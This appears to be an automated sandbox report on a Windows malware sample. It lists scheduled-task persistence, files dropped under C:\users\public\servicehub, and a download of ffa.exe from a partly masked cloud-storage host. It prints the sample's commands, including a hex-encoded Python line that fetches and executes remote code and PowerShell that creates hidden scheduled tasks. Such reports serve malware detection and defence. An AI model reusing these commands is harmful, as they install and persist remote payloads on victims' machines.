Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\system_settings
- <SYSTEM32>\tasks\system_test
- <SYSTEM32>\tasks\system_cdaemon
Modifies file system
Creates the following files
- nul
- C:\users\public\servicehub\_sqlite3.pyd
- C:\users\public\servicehub\_socket.pyd
- C:\users\public\servicehub\_queue.pyd
- C:\users\public\servicehub\_overlapped.pyd
- C:\users\public\servicehub\_multiprocessing.pyd
- C:\users\public\servicehub\_msi.pyd
- C:\users\public\servicehub\_lzma.pyd
- C:\users\public\servicehub\_hashlib.pyd
- C:\users\public\servicehub\_elementtree.pyd
- C:\users\public\servicehub\_decimal.pyd
- C:\users\public\servicehub\_ctypes.pyd
- C:\users\public\servicehub\_bz2.pyd
- C:\users\public\servicehub\_asyncio.pyd
- C:\users\public\servicehub\winsound.pyd
- C:\users\public\servicehub\_ssl.pyd
- C:\users\public\servicehub\vcruntime140.dll
- C:\users\public\servicehub\sqlite3.dll
- C:\users\public\servicehub\servicehub.host.clr.pkg
- C:\users\public\servicehub\select.pyd
- C:\users\public\servicehub\servicehub.host.clr.exe
- C:\users\public\servicehub\python37._pth
- C:\users\public\servicehub\python37.zip
- C:\users\public\servicehub\python37.dll
- C:\users\public\servicehub\python3.dll
- C:\users\public\servicehub\pyexpat.pyd
- C:\users\public\servicehub\license.txt
- C:\users\public\servicehub\libssl-1_1.dll
- C:\users\public\servicehub\libcrypto-1_1.dll
- C:\users\public\servicehub.zip
- C:\users\public\flash.exe
- C:\users\public\servicehub\unicodedata.pyd
- %TEMP%\debug.txt
Deletes the following files
- <SYSTEM32>\tasks\system_test
Network activity
Connects to
- 'fl############erver.oss-cn-hongkong.aliyuncs.com':80
TCP
HTTP GET requests
- http://fl############erver.oss-cn-hongkong.aliyuncs.com/res/ffa.exe
UDP
- DNS ASK ba##u.com
- DNS ASK fl############erver.oss-cn-hongkong.aliyuncs.com
Miscellaneous
Creates and executes the following
- 'C:\users\public\servicehub\servicehub.host.clr.exe' -c "exec(bytes.fromhex('696d706f72742075726c6c69622e726571756573743b657865632875726c6c69622e726571756573742e75726c6f70656e2875726c6c69622e726571756573742e526571756573742827687474703a2f2f666c617...
- '<SYSTEM32>\ping.exe' www.ba##u.com' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null)...' (with hidden window)
- 'C:\users\public\servicehub\servicehub.host.clr.exe' -c "exec(bytes.fromhex('696d706f72742075726c6c69622e726571756573743b657865632875726c6c69622e726571756573742e75726c6f70656e2875726c6c69622e726571756573742e526571756573742827687474703a2f2f666c617...' (with hidden window)
Executes the following
- '<SYSTEM32>\ping.exe' www.ba##u.com
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null)...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $tas...
- '<SYSTEM32>\schtasks.exe' /Run /TN SYSTEM_SETTINGS
- '<SYSTEM32>\taskeng.exe' {0FFD60C2-A694-4C99-95E8-9F5ABD203EE9} S-1-5-21-1960123792-2022915161-3775307078-1001:zoydiyypb\user:Interactive:[1]
- '<SYSTEM32>\schtasks.exe' /Run /TN SYSTEM_TEST
- '<SYSTEM32>\schtasks.exe' /DELETE /F /TN SYSTEM_TEST
- '<SYSTEM32>\schtasks.exe' /Run /TN SYSTEM_CDAEMON
